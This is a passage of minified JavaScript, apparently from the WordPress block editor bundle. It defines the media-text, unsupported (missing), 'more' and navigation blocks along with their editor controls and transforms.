a",attribute:"class"},mediaType:{type:"string",role:"content"},mediaWidth:{type:"number",default:50},mediaSizeSlug:{type:"string"},isStackedOnMobile:{type:"boolean",default:!0},verticalAlignment:{type:"string"},imageFill:{type:"boolean"},focalPoint:{type:"object"},useFeaturedImage:{type:"boolean",default:!1}},usesContext:["postId","postType"],supports:{anchor:!0,align:["wide","full"],html:!1,__experimentalBorder:{color:!0,radius:!0,style:!0,width:!0,__experimentalDefaultControls:{color:!0,radius:!0,style:!0,width:!0}},color:{gradients:!0,heading:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0}},spacing:{margin:!0,padding:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},interactivity:{clientNavigation:!0},allowedBlocks:!0},editorStyle:"wp-block-media-text-editor",style:"wp-block-media-text"};var Bh=o(T(),1);var Xl=o(v(),1),_2e=50,RK=()=>{};function zK({attributes:e}){let{isStackedOnMobile:t,mediaAlt:r,mediaPosition:a,mediaType:n,mediaUrl:i,mediaWidth:l,mediaId:s,verticalAlignment:c,imageFill:u,focalPoint:m,linkClass:p,href:d,linkTarget:f,rel:h}=e,g=e.mediaSizeSlug||$s,b=h||void 0,y=w({[`wp-image-${s}`]:s&&n==="image",[`size-${g}`]:s&&n==="image"}),_=u?A4(i,m):{},x=i?(0,Xl.jsx)("img",{src:i,alt:r,className:y||null,style:_}):null;d&&(x=(0,Xl.jsx)("a",{className:p,href:d,target:f,rel:b,children:x}));let k={image:()=>x,video:()=>(0,Xl.jsx)("video",{controls:!0,src:i})},S=w({"has-media-on-the-right":a==="right","is-stacked-on-mobile":t,[`is-vertically-aligned-${c}`]:c,"is-image-fill-element":u}),C;l!==_2e&&(C=a==="right"?`auto ${l}%`:`${l}% auto`);let E={gridTemplateColumns:C};return a==="right"?(0,Xl.jsxs)("div",{...Bh.useBlockProps.save({className:S,style:E}),children:[(0,Xl.jsx)("div",{...Bh.useInnerBlocksProps.save({className:"wp-block-media-text__content"})}),(0,Xl.jsx)("figure",{className:"wp-block-media-text__media",children:(k[n]||RK)()})]}):(0,Xl.jsxs)("div",{...Bh.useBlockProps.save({className:S,style:E}),children:[(0,Xl.jsx)("figure",{className:"wp-block-media-text__media",children:(k[n]||RK)()}),(0,Xl.jsx)("div",{...Bh.useInnerBlocksProps.save({className:"wp-block-media-text__content"})})]})}var nd=o(U(),1),k2e={from:[{type:"block",blocks:["core/image"],transform:({alt:e,url:t,id:r,anchor:a})=>(0,nd.createBlock)("core/media-text",{mediaAlt:e,mediaId:r,mediaUrl:t,mediaType:"image",anchor:a})},{type:"block",blocks:["core/video"],transform:({src:e,id:t,anchor:r})=>(0,nd.createBlock)("core/media-text",{mediaId:t,mediaUrl:e,mediaType:"video",anchor:r})},{type:"block",blocks:["core/cover"],transform:({align:e,alt:t,anchor:r,backgroundType:a,customGradient:n,customOverlayColor:i,gradient:l,id:s,overlayColor:c,style:u,textColor:m,url:p,useFeaturedImage:d},f)=>{let h={};return n?h={style:{color:{gradient:n}}}:i&&(h={style:{color:{background:i}}}),u?.color?.text&&(h.style={color:{...h.style?.color,text:u.color.text}}),(0,nd.createBlock)("core/media-text",{align:e,anchor:r,backgroundColor:c,gradient:l,mediaAlt:t,mediaId:s,mediaType:a,mediaUrl:p,textColor:m,useFeaturedImage:d,...h},f)}}],to:[{type:"block",blocks:["core/image"],isMatch:({mediaType:e,mediaUrl:t})=>!t||e==="image",transform:({mediaAlt:e,mediaId:t,mediaUrl:r,anchor:a})=>(0,nd.createBlock)("core/image",{alt:e,id:t,url:r,anchor:a})},{type:"block",blocks:["core/video"],isMatch:({mediaType:e,mediaUrl:t})=>!t||e==="video",transform:({mediaId:e,mediaUrl:t,anchor:r})=>(0,nd.createBlock)("core/video",{id:e,src:t,anchor:r})},{type:"block",blocks:["core/cover"],transform:({align:e,anchor:t,backgroundColor:r,focalPoint:a,gradient:n,mediaAlt:i,mediaId:l,mediaType:s,mediaUrl:c,style:u,textColor:m,useFeaturedImage:p},d)=>{let f={};u?.color?.gradient?f.customGradient=u.color.gradient:u?.color?.background&&(f.customOverlayColor=u.color.background),u?.color?.text&&(f.style={color:{text:u.color.text}});let h={align:e,alt:i,anchor:t,backgroundType:s,dimRatio:c||p?50:100,focalPoint:a,gradient:n,id:l,overlayColor:r,textColor:m,url:c,useFeaturedImage:p,...f};return(0,nd.createBlock)("core/cover",h,d)}}]},VK=k2e;var{fieldsKey:w2e,formKey:C2e}=Z(FK.privateApis),{name:OK}=O4,H4={icon:PT,example:{viewportWidth:601,attributes:{mediaType:"image",mediaUrl:"https://s.w.org/images/core/5.3/Biologia_Centrali-Americana_-_Cantorchilus_semibadius_1902.jpg"},innerBlocks:[{name:"core/paragraph",attributes:{content:(0,_v.__)("The wren<br>Earns his living<br>Noiselessly.")}},{name:"core/paragraph",attributes:{content:(0,_v.__)("\u2014 Kobayashi Issa (\u4E00\u8336)")}}]},transforms:VK,edit:AK,save:zK,deprecated:TK};window.__experimentalContentOnlyInspectorFields&&(H4[w2e]=[{id:"media",label:(0,_v.__)("Media"),type:"media",Edit:{control:"media",allowedTypes:["image","video"],multiple:!1},getValue:({item:e})=>({id:e.mediaId,url:e.mediaUrl,mediaType:e.mediaType,link:e.mediaLink}),setValue:({value:e})=>({mediaId:e.id,mediaUrl:e.url,mediaType:e.mediaType,mediaLink:e.link})},{id:"link",label:(0,_v.__)("Link"),type:"url",Edit:"link",getValue:({item:e})=>({url:e.href,rel:e.rel,linkTarget:e.linkTarget}),setValue:({value:e})=>({href:e.url,rel:e.rel,linkTarget:e.linkTarget})}],H4[C2e]={fields:["media","link"]});var S2e=()=>N({name:OK,metadata:O4,settings:H4});var GN={};q(GN,{init:()=>P2e,metadata:()=>U4,name:()=>kv,settings:()=>QK});var KK=o(U(),1);var Kc=o(I(),1),HK=o(j(),1),jK=o(A(),1),UK=o(U(),1),j4=o(z(),1),id=o(T(),1),GK=o(Ri(),1),Ih=o(v(),1);function WK({attributes:e,clientId:t}){let{originalName:r,originalUndelimitedContent:a}=e,n=!!a,{hasFreeformBlock:i,hasHTMLBlock:l}=(0,j4.useSelect)(d=>{let{canInsertBlockType:f,getBlockRootClientId:h}=d(id.store);return{hasFreeformBlock:f("core/freeform",h(t)),hasHTMLBlock:f("core/html",h(t))}},[t]),{replaceBlock:s}=(0,j4.useDispatch)(id.store);function c(){s(t,(0,UK.createBlock)("core/html",{content:a}))}let u=[],m,p=(0,Ih.jsx)(jK.Button,{__next40pxDefaultSize:!0,onClick:c,variant:"primary",children:(0,Kc.__)("Keep as HTML")},"convert");return n&&!i&&(!r||r==="core/freeform")?l?(m=(0,Kc.__)("It appears you are trying to use the deprecated Classic block. You can leave this block intact, convert its content to a Custom HTML block, or remove it entirely. Alternatively, if you have unsaved changes, you can save them and refresh to use the Classic block."),u.push(p)):m=(0,Kc.__)("It appears you are trying to use the deprecated Classic block. You can leave this block intact, or remove it entirely. Alternatively, if you have unsaved changes, you can save them and refresh to use the Classic block."):n&&l?(m=(0,Kc.sprintf)((0,Kc.__)('Your site doesn\u2019t include support for the "%s" block. You can leave it as-is, convert it to custom HTML, or remove it.'),r),u.push(p)):m=(0,Kc.sprintf)((0,Kc.__)('Your site doesn\u2019t include support for the "%s" block. You can leave it as-is or remove it.'),r),(0,Ih.jsxs)("div",{...(0,id.useBlockProps)({className:"has-warning"}),children:[(0,Ih.jsx)(id.Warning,{actions:u,children:m}),(0,Ih.jsx)(HK.RawHTML,{children:(0,GK.safeHTML)(a)})]})}var U4={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/missing",title:"Unsupported",category:"text",description:"Your site doesn\u2019t include support for this block.",textdomain:"default",attributes:{originalName:{type:"string"},originalUndelimitedContent:{type:"string"},originalContent:{type:"string",source:"raw"}},supports:{className:!1,customClassName:!1,inserter:!1,html:!1,lock:!1,reusable:!1,renaming:!1,visibility:!1,interactivity:{clientNavigation:!0},customCSS:!1}};var $K=o(j(),1),qK=o(v(),1);function ZK({attributes:e}){return(0,qK.jsx)($K.RawHTML,{children:e.originalContent})}var{name:kv}=U4,QK={name:kv,__experimentalLabel(e,{context:t}){if(t==="accessibility"){let{originalName:r}=e,a=r?(0,KK.getBlockType)(r):void 0;return a?a.settings.title||r:""}},edit:WK,save:ZK},P2e=()=>N({name:kv,metadata:U4,settings:QK});var WN={};q(WN,{init:()=>L2e,metadata:()=>W4,name:()=>nQ,settings:()=>$4});var oQ=o(I(),1),aQ=o(U(),1);var gm=o(I(),1),Eh=o(A(),1),Nh=o(T(),1),G4=o(U(),1);var Jl=o(v(),1),B2e=(0,gm.__)("Read more");function YK({attributes:{customText:e,noTeaser:t},insertBlocksAfter:r,setAttributes:a}){let n=W();return(0,Jl.jsxs)(Jl.Fragment,{children:[(0,Jl.jsx)(Nh.InspectorControls,{children:(0,Jl.jsx)(Eh.__experimentalToolsPanel,{label:(0,gm.__)("Settings"),resetAll:()=>{a({noTeaser:!1})},dropdownMenuProps:n,children:(0,Jl.jsx)(Eh.__experimentalToolsPanelItem,{label:(0,gm.__)("Hide excerpt"),isShownByDefault:!0,hasValue:()=>t,onDeselect:()=>a({noTeaser:!1}),children:(0,Jl.jsx)(Eh.ToggleControl,{label:(0,gm.__)("Hide the excerpt on the full content page"),checked:!!t,onChange:()=>a({noTeaser:!t}),help:i=>i?(0,gm.__)("The excerpt is hidden."):(0,gm.__)("The excerpt is visible.")})})})}),(0,Jl.jsx)("div",{...(0,Nh.useBlockProps)(),children:(0,Jl.jsx)(Nh.PlainText,{__experimentalVersion:2,tagName:"span","aria-label":(0,gm.__)('"Read more" text'),value:e,placeholder:B2e,onChange:i=>a({customText:i}),disableLineBreaks:!0,__unstableOnSplitAtEnd:()=>r((0,G4.createBlock)((0,G4.getDefaultBlockName)()))})})]})}var W4={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/more",title:"More",category:"design",description:"Content before this block will be shown in the excerpt on your archives page.",keywords:["read more"],textdomain:"default",attributes:{customText:{type:"string",default:"",role:"content"},noTeaser:{type:"boolean",default:!1}},supports:{customClassName:!1,className:!1,html:!1,multiple:!1,visibility:!1,interactivity:{clientNavigation:!0},customCSS:!1},editorStyle:"wp-block-more-editor"};var XK=o(j(),1),JK=o(v(),1);function eQ({attributes:{customText:e,noTeaser:t}}){let r=e?`<!--more ${e}-->`:"<!--more-->";return(0,JK.jsx)(XK.RawHTML,{children:[r,t?"<!--noteaser-->":""].filter(Boolean).join(`
`)})}var tQ=o(U(),1),E2e={from:[{type:"raw",schema:{"wp-block":{attributes:["data-block"]}},isMatch:e=>e.dataset&&e.dataset.block==="core/more",transform(e){let{customText:t,noTeaser:r}=e.dataset,a={};return t&&(a.customText=t),r===""&&(a.noTeaser=!0),(0,tQ.createBlock)("core/more",a)}}]},rQ=E2e;var{fieldsKey:N2e,formKey:D2e}=Z(aQ.privateApis),{name:nQ}=W4,$4={icon:DT,example:{},__experimentalLabel(e,{context:t}){let r=e?.metadata?.name;if((t==="list-view"||t==="breadcrumb")&&r)return r;if(t==="accessibility")return e.customText},transforms:rQ,edit:YK,save:eQ};window.__experimentalContentOnlyInspectorFields&&($4[N2e]=[{id:"customText",label:(0,oQ.__)("Content"),type:"text",Edit:"rich-text"}],$4[D2e]={fields:["customText"]});var L2e=()=>N({name:nQ,metadata:W4,settings:$4});var CD={};q(CD,{init:()=>Oxe,metadata:()=>q4,name:()=>LX,settings:()=>MX});var j3=o(I(),1);var EX=o(z(),1),NX=o(Y(),1),DX=o(Ho(),1);var q4={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/navigation",title:"Navigation",category:"theme",allowedBlocks:["core/navigation-link","core/search","core/social-links","core/page-list","core/spacer","core/home-link","core/icon","core/site-title","core/site-logo","core/navigation-submenu","core/loginout","core/buttons"],description:"A collection of blocks that allow visitors to get around your site.",keywords:["menu","navigation","links"],textdomain:"default",attributes:{ref:{type:"number"},textColor:{type:"string"},customTextColor:{type:"string"},rgbTextColor:{type:"string"},backgroundColor:{type:"string"},customBackgroundColor:{type:"string"},rgbBackgroundColor:{type:"string"},showSubmenuIcon:{type:"boolean",default:!0},submenuVisibility:{type:"string",enum:["hover","click","always"],default:"hover"},overlayMenu:{type:"string",default:"mobile"},overlay:{type:"string"},icon:{type:"string",default:"handle"},hasIcon:{type:"boolean",default:!0},__unstableLocation:{type:"string"},overlayBackgroundColor:{type:"string"},customOverlayBackgroundColor:{type:"string"},overlayTextColor:{type:"string"},customOverlayTextColor:{type:"string"},maxNestingLevel:{type:"number",default:5},templateLock:{type:["string","boolean"],enum:["all","insert","contentOnly",!1]}},providesContext:{textColor:"textColor",customTextColor:"customTextColor",backgroundColor:"backgroundColor",customBackgroundColor:"customBackgroundColor",overlayTextColor:"overlayTextColor",customOverlayTextColor:"customOverlayTextColor",overlayBackgroundColor:"overlayBackgroundColor",customOverlayBackgroundColor:"customOverlayBackgroundColor",fontSize:"fontSize",customFontSize:"customFontSize",showSubmenuIcon:"showSubmenuIcon",submenuVisibility:"submenuVisibility",openSubmenusOnClick:"openSubmenusOnClick",style:"style",maxNestingLevel:"maxNestingLevel"},supports:{anchor:!0,align:["wide","full"],ariaLabel:!0,contentRole:!0,html:!1,inserter:!0,typography:{fontSize:!0,lineHeight:!0,__experimentalFontStyle:!0,__experimentalFontWeight:!0,__experimentalTextTransform:!0,__experimentalFontFamily:!0,__experimentalLetterSpacing:!0,__experimentalTextDecoration:!0,__experimentalSkipSerialization:["textDecoration"],__experimentalDefaultControls:{fontSize:!0}},spacing:{blockGap:!0,units:["px","em","rem","vh","vw"],__experimentalDefaultControls:{blockGap:!0}},layout:{allowSwitching:!1,allowInheriting:!1,allowVerticalAlignment:!1,allowSizingOnChildren:!0,default:{type:"flex"}},interactivity:!0,renaming:!1},editorStyle:"wp-block-navigation-editor",style:"wp-block-navigation"};var qt=o(j(),1),Xe=o(T(),1),wm=o(Y(),1),rs=o(z(),1),Vr=o(A(),1),Dt=o(I(),1),F3=o(fv(),1);var wX=o(U(),1),CX=o(ue(),1);var Dh=o(Y(),1),sQ=o(z(),1);var vi={name:"core/navigation-link",attributes:{kind:"post-type",type:"page"}},iQ=["core/navigation-link/page","core/navigation-link"],$N={per_page:100,status:["publish","draft"],order:"desc",orderby:"date"},lQ=["postType","wp_navigation",$N],Ks="navigation-overlay";function Lh(e){let t=(0,Dh.useResourcePermissions)({kind:"postType",name:"wp_navigation",id:e}),{navigationMenu:r,isNavigationMenuResolved:a,isNavigationMenuMissing:n}=(0,sQ.useSelect)(h=>A2e(h,e),[e]),{canCreate:i,canUpdate:l,canDelete:s,isResolving:c,hasResolved:u}=t,{records:m,isResolving:p,hasResolved:d}=(0,Dh.useEntityRecords)("postType","wp_navigation",$N),f=e?m?.length>1:m?.length>0;return{navigationMenu:r,isNavigationMenuResolved:a,isNavigationMenuMissing:n,navigationMenus:m,isResolvingNavigationMenus:p,hasResolvedNavigationMenus:d,canSwitchNavigationMenu:f,canUserCreateNavigationMenus:i,isResolvingCanUserCreateNavigationMenus:c,hasResolvedCanUserCreateNavigationMenus:u,canUserUpdateNavigationMenu:l,hasResolvedCanUserUpdateNavigationMenu:e?u:void 0,canUserDeleteNavigationMenu:s,hasResolvedCanUserDeleteNavigationMenu:e?u:void 0}}function A2e(e,t){if(!t)return{isNavigationMenuResolved:!1,isNavigationMenuMissing:!0};let{getEntityRecord:r,getEditedEntityRecord:a,hasFinishedResolution:n}=e(Dh.store),i=["postType","wp_navigation",t],l=r(...i),s=a(...i),c=n("getEditedEntityRecord",i),u=s.status==="publish"||s.status==="draft";return{isNavigationMenuResolved:c,isNavigationMenuMissing:c&&(!l||!u),navigationMenu:u?s:null}}var Rh=o(A(),1),Cv=o(I(),1);var qN=o(fv(),1),uQ=o(j(),1),mQ=o(Y(),1);var cQ=o(I(),1),wv=o(v(),1),R2e=({isVisible:e=!0})=>(0,wv.jsx)("div",{"aria-hidden":e?void 0:!0,className:"wp-block-navigation-placeholder__preview",children:(0,wv.jsxs)("div",{className:"wp-block-navigation-placeholder__actions__indicator",children:[(0,wv.jsx)(Fa,{icon:gp}),(0,cQ.__)("Navigation")]})}),Z4=R2e;var es=o(A(),1);var Xa=o(I(),1),K4=o(Ho(),1),Mh=o(j(),1),Q4=o(Y(),1);var Ji=o(v(),1);function z2e(e,t,r){return e?r==="publish"?(0,K4.decodeEntities)(e):(0,Xa.sprintf)((0,Xa.__)("%1$s (%2$s)"),(0,K4.decodeEntities)(e),r):(0,Xa.sprintf)((0,Xa.__)("(no title %s)"),t)}function V2e({currentMenuId:e,onSelectNavigationMenu:t,onSelectClassicMenu:r,onCreateNew:a,actionLabel:n,createNavigationMenuIsSuccess:i,createNavigationMenuIsError:l}){let s=(0,Xa.__)("Create from '%s'"),[c,u]=(0,Mh.useState)(!1);n=n||s;let{records:m}=(0,Q4.useEntityRecords)("root","menu",{per_page:-1,context:"view"}),{navigationMenus:p,isResolvingNavigationMenus:d,hasResolvedNavigationMenus:f,canUserCreateNavigationMenus:h,canSwitchNavigationMenu:g,isNavigationMenuMissing:b}=Lh(e),[y]=(0,Q4.useEntityProp)("postType","wp_navigation","title"),_=(0,Mh.useMemo)(()=>p?.map(({id:F,title:P,status:H},$)=>{let V=z2e(P?.rendered,$+1,H);return{value:F,label:V,ariaLabel:(0,Xa.sprintf)(n,V),disabled:c||d||!f}})||[],[p,n,d,f,c]),x=!!p?.length,k=!!m?.length,S=!!g,C=!!h,E=x&&!e,B=!x&&f,D=f&&e===null,M=e&&b,O="";return d?O=(0,Xa.__)("Loading\u2026"):E||B||D||M?O=(0,Xa.__)("Choose or create a Navigation Menu"):O=y,(0,Mh.useEffect)(()=>{c&&(i||l)&&u(!1)},[f,i,h,l,c,D,B,E]),(0,Ji.jsx)(es.DropdownMenu,{label:O,icon:G0,toggleProps:{size:"small"},children:({onClose:F})=>(0,Ji.jsxs)(Ji.Fragment,{children:[S&&x&&(0,Ji.jsx)(es.MenuGroup,{label:(0,Xa.__)("Menus"),children:(0,Ji.jsx)(es.MenuItemsChoice,{value:e,onSelect:P=>{t(P),F()},choices:_})}),C&&k&&(0,Ji.jsx)(es.MenuGroup,{label:(0,Xa.__)("Import Classic Menus"),children:m?.map(P=>{let H=(0,K4.decodeEntities)(P.name);return(0,Ji.jsx)(es.MenuItem,{onClick:async()=>{u(!0),await r(P),u(!1),F()},"aria-label":(0,Xa.sprintf)(s,H),disabled:c||d||!f,children:H},P.id)})}),h&&(0,Ji.jsx)(es.MenuGroup,{label:(0,Xa.__)("Tools"),children:(0,Ji.jsx)(es.MenuItem,{onClick:async()=>{u(!0),await a(),u(!1),F()},disabled:c||d||!f,children:(0,Xa.__)("Create new Menu")})})]})})}var Ah=V2e;var Sa=o(v(),1);function pQ({isSelected:e,currentMenuId:t,clientId:r,canUserCreateNavigationMenus:a=!1,isResolvingCanUserCreateNavigationMenus:n,onSelectNavigationMenu:i,onSelectClassicMenu:l,onCreateEmpty:s}){let{isResolving:c,hasResolved:u}=(0,mQ.useEntityRecords)("root","menu",{per_page:-1,context:"view"});(0,uQ.useEffect)(()=>{e&&(c&&(0,qN.speak)((0,Cv.__)("Loading navigation block setup options\u2026")),u&&(0,qN.speak)((0,Cv.__)("Navigation block setup options ready.")))},[u,c,e]);let m=c&&n;return(0,Sa.jsx)(Sa.Fragment,{children:(0,Sa.jsxs)(Rh.Placeholder,{className:"wp-block-navigation-placeholder",children:[(0,Sa.jsx)(Z4,{isVisible:!e}),(0,Sa.jsx)("div",{"aria-hidden":e?void 0:!0,className:"wp-block-navigation-placeholder__controls",children:(0,Sa.jsxs)("div",{className:"wp-block-navigation-placeholder__actions",children:[(0,Sa.jsxs)("div",{className:"wp-block-navigation-placeholder__actions__indicator",children:[(0,Sa.jsx)(Fa,{icon:gp})," ",(0,Cv.__)("Navigation")]}),(0,Sa.jsx)("hr",{}),m&&(0,Sa.jsx)(Rh.Spinner,{}),(0,Sa.jsx)(Ah,{currentMenuId:t,clientId:r,onSelectNavigationMenu:i,onSelectClassicMenu:l}),(0,Sa.jsx)("hr",{}),a&&(0,Sa.jsx)(Rh.Button,{__next40pxDefaultSize:!0,variant:"tertiary",onClick:s,children:(0,Cv.__)("Start empty")})]})})]})})}var ZN=o(A(),1),Vh=o(I(),1),KN=o(T(),1),dQ=o(z(),1),fQ=o(Y(),1);var Sv=o(L(),1);var zh=o(v(),1);function Qs({icon:e}){return e==="menu"?(0,zh.jsx)(Fa,{icon:IT}):(0,zh.jsxs)(Sv.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",width:"24",height:"24","aria-hidden":"true",focusable:"false",children:[(0,zh.jsx)(Sv.Rect,{x:"4",y:"7.5",width:"16",height:"1.5"}),(0,zh.jsx)(Sv.Rect,{x:"4",y:"15",width:"16",height:"1.5"})]})}function Ja(e,t){return e&&t?e+"//"+t:null}var bi=o(v(),1);function QN({children:e,id:t,isOpen:r,isResponsive:a,onToggle:n,isHiddenByDefault:i,overlayBackgroundColor:l,overlayTextColor:s,hasIcon:c,icon:u,overlay:m,onNavigateToEntityRecord:p}){let d=(0,dQ.useSelect)(k=>k(fQ.store).getCurrentTheme()?.stylesheet,[]);if(!a)return e;let f=!!m,h=w("wp-block-navigation__responsive-container",!f&&{"has-text-color":!!s.color||!!s?.class,[(0,KN.getColorClassName)("color",s?.slug)]:!!s?.slug,"has-background":!!l.color||l?.class,[(0,KN.getColorClassName)("background-color",l?.slug)]:!!l?.slug},{"is-menu-open":r,"hidden-by-default":i}),g=f?{}:{color:!s?.slug&&s?.color,backgroundColor:!l?.slug&&l?.color&&l.color},b=w("wp-block-navigation__responsive-container-open",{"always-shown":i}),y=`${t}-modal`,_={className:"wp-block-navigation__responsive-dialog",...r&&{role:"dialog","aria-modal":!0,"aria-label":(0,Vh.__)("Menu")}},x=()=>{if(m&&p){let k=Ja(d,m);p({postId:k,postType:"wp_template_part"});return}n(!0)};return(0,bi.jsxs)(bi.Fragment,{children:[!r&&(0,bi.jsxs)(ZN.Button,{__next40pxDefaultSize:!0,"aria-haspopup":"true","aria-label":c&&(0,Vh.__)("Open menu"),className:b,onClick:x,children:[c&&(0,bi.jsx)(Qs,{icon:u}),!c&&(0,Vh.__)("Menu")]}),(0,bi.jsx)("div",{className:h,style:g,id:y,children:(0,bi.jsx)("div",{className:"wp-block-navigation__responsive-close",tabIndex:"-1",children:(0,bi.jsxs)("div",{..._,children:[(0,bi.jsxs)(ZN.Button,{__next40pxDefaultSize:!0,className:"wp-block-navigation__responsive-container-close","aria-label":c&&(0,Vh.__)("Close menu"),onClick:()=>n(!1),children:[c&&(0,bi.jsx)(Fa,{icon:cp}),!c&&(0,Vh.__)("Close")]}),(0,bi.jsx)("div",{className:"wp-block-navigation__responsive-container-content",id:`${y}-content`,children:e})]})})})]})}var hQ=o(Y(),1),Fh=o(T(),1),gQ=o(z(),1),vQ=o(j(),1);var YN=o(v(),1);function bQ({clientId:e,hasCustomPlaceholder:t,orientation:r,templateLock:a}){let{isImmediateParentOfSelectedBlock:n,selectedBlockHasChildren:i,isSelected:l,hasSelectedDescendant:s}=(0,gQ.useSelect)(b=>{let{getBlockCount:y,hasSelectedInnerBlock:_,getSelectedBlockClientId:x}=b(Fh.store),k=x();return{isImmediateParentOfSelectedBlock:_(e,!1),selectedBlockHasChildren:!!y(k),hasSelectedDescendant:_(e,!0),isSelected:k===e}},[e]),[c,u,m]=(0,hQ.useEntityBlockEditor)("postType","wp_navigation"),p=l||n&&!i,d=(0,vQ.useMemo)(()=>(0,YN.jsx)(Z4,{}),[]),f=!!c?.length,h=!t&&!f&&!l,g=(0,Fh.useInnerBlocksProps)({className:"wp-block-navigation__container"},{value:c,onInput:u,onChange:m,prioritizedInserterBlocks:iQ,defaultBlock:vi,directInsert:!0,orientation:r,templateLock:a,renderAppender:l||n&&!i||s||p?Fh.InnerBlocks.ButtonBlockAppender:!1,placeholder:h?d:void 0,__experimentalCaptureToolbars:!0,__unstableDisableLayoutClassNames:!0});return(0,YN.jsx)("div",{...g})}var yQ=o(A(),1),xQ=o(Y(),1),_Q=o(I(),1),kQ=o(v(),1);function wQ(){let[e,t]=(0,xQ.useEntityProp)("postType","wp_navigation","title");return(0,kQ.jsx)(yQ.TextControl,{__next40pxDefaultSize:!0,label:(0,_Q.__)("Menu name"),value:e,onChange:t})}var TQ=o(T(),1),XN=o(A(),1),PQ=o(Y(),1),BQ=o(z(),1),ld=o(j(),1);function CQ(e,t){return!SQ(e,t,(r,a)=>{if(a?.name==="core/page-list"&&r==="innerBlocks")return!0})}var SQ=(e,t,r)=>{if(e===t)return!0;if(typeof e=="object"&&e!==null&&e!==void 0&&typeof t=="object"&&t!==null&&t!==void 0){if(Object.keys(e).length!==Object.keys(t).length)return!1;for(let a in e)if(t.hasOwnProperty(a)){if(r&&r(a,e))return!0;if(!SQ(e[a],t[a],r))return!1}else return!1;return!0}return!1};var IQ=o(v(),1),F2e={};function EQ({blocks:e,createNavigationMenu:t,hasSelection:r}){let a=(0,ld.useRef)();(0,ld.useEffect)(()=>{a?.current||(a.current=e)},[e]);let n=CQ(a?.current,e),i=(0,ld.useContext)(XN.Disabled.Context),l=(0,TQ.useInnerBlocksProps)({className:"wp-block-navigation__container"},{renderAppender:r?void 0:!1,defaultBlock:vi,directInsert:!0}),{isSaving:s,hasResolvedAllNavigationMenus:c}=(0,BQ.useSelect)(m=>{if(i)return F2e;let{hasFinishedResolution:p,isSavingEntityRecord:d}=m(PQ.store);return{isSaving:d("postType","wp_navigation"),hasResolvedAllNavigationMenus:p("getEntityRecords",lQ)}},[i]);return(0,ld.useEffect)(()=>{i||s||!c||!r||!n||t(null,e)},[e,t,i,s,c,n,r]),(0,IQ.jsx)(s?XN.Disabled:"div",{...l})}var X4=o(A(),1),J4=o(Y(),1),NQ=o(z(),1),DQ=o(j(),1),Y4=o(I(),1),sd=o(v(),1);function LQ({onDelete:e}){let[t,r]=(0,DQ.useState)(!1),a=(0,J4.useEntityId)("postType","wp_navigation"),{deleteEntityRecord:n}=(0,NQ.useDispatch)(J4.store);return(0,sd.jsxs)(sd.Fragment,{children:[(0,sd.jsx)(X4.Button,{__next40pxDefaultSize:!0,className:"wp-block-navigation-delete-menu-button",variant:"secondary",isDestructive:!0,onClick:()=>{r(!0)},children:(0,Y4.__)("Delete menu")}),t&&(0,sd.jsx)(X4.__experimentalConfirmDialog,{isOpen:!0,onConfirm:()=>{n("postType","wp_navigation",a,{force:!0}),e()},onCancel:()=>{r(!1)},confirmButtonText:(0,Y4.__)("Delete"),size:"medium",children:(0,Y4.__)("Are you sure you want to delete this Navigation Menu?")})]})}var Tv=o(j(),1),MQ=o(z(),1),AQ=o(yr(),1);function O2e({name:e,message:t=""}={}){let r=(0,Tv.useRef)(),{createWarningNotice:a,removeNotice:n}=(0,MQ.useDispatch)(AQ.store),i=(0,Tv.useCallback)(s=>{r.current||(r.current=e,a(s||t,{id:r.current,type:"snackbar"}))},[r,a,t,e]),l=(0,Tv.useCallback)(()=>{r.current&&(n(r.current),r.current=null)},[r,n]);return[i,l]}var e3=O2e;var Ys=o(A(),1),vm=o(I(),1);var yi=o(v(),1);function RQ({setAttributes:e,hasIcon:t,icon:r}){return(0,yi.jsxs)(yi.Fragment,{children:[(0,yi.jsx)(Ys.__experimentalToolsPanelItem,{label:(0,vm.__)("Show icon button"),isShownByDefault:!0,hasValue:()=>!t,onDeselect:()=>e({hasIcon:!0}),children:(0,yi.jsx)(Ys.ToggleControl,{label:(0,vm.__)("Show icon button"),help:(0,vm.__)("Configure the visual appearance of the button that toggles the overlay menu."),onChange:a=>e({hasIcon:a}),checked:t})}),(0,yi.jsx)(Ys.__experimentalToolsPanelItem,{label:(0,vm.__)("Icon"),isShownByDefault:!0,hasValue:()=>r!=="handle",onDeselect:()=>e({icon:"handle"}),children:(0,yi.jsxs)(Ys.__experimentalToggleGroupControl,{__next40pxDefaultSize:!0,className:"wp-block-navigation__overlay-menu-icon-toggle-group",label:(0,vm.__)("Icon"),value:r,onChange:a=>e({icon:a}),isBlock:!0,children:[(0,yi.jsx)(Ys.__experimentalToggleGroupControlOption,{value:"handle","aria-label":(0,vm.__)("handle"),label:(0,yi.jsx)(Qs,{icon:"handle"})}),(0,yi.jsx)(Ys.__experimentalToggleGroupControlOption,{value:"menu","aria-label":(0,vm.__)("menu"),label:(0,yi.jsx)(Qs,{icon:"menu"})})]})})]})}var u3=o(A(),1),cY=o(I(),1),uY=o(j(),1);var el=o(j(),1),XQ=o(ue(),1),i3=o(Y(),1),l3=o(z(),1),en=o(A(),1),ra=o(I(),1),tD=o(Ho(),1),JQ=o(yr(),1);var GQ=o(j(),1),a3=o(z(),1),WQ=o(Y(),1),$Q=o(T(),1),qQ=o(I(),1),ud=o(U(),1);var bm=function(){return bm=Object.assign||function(t){for(var r,a=1,n=arguments.length;a<n;a++){r=arguments[a];for(var i in r)Object.prototype.hasOwnProperty.call(r,i)&&(t[i]=r[i])}return t},bm.apply(this,arguments)};function zQ(e){return e.toLowerCase()}var H2e=[/([a-z0-9])([A-Z])/g,/([A-Z])([A-Z][a-z])/g],j2e=/[^A-Z0-9]+/gi;function t3(e,t){t===void 0&&(t={});for(var r=t.splitRegexp,a=r===void 0?H2e:r,n=t.stripRegexp,i=n===void 0?j2e:n,l=t.transform,s=l===void 0?zQ:l,c=t.delimiter,u=c===void 0?" 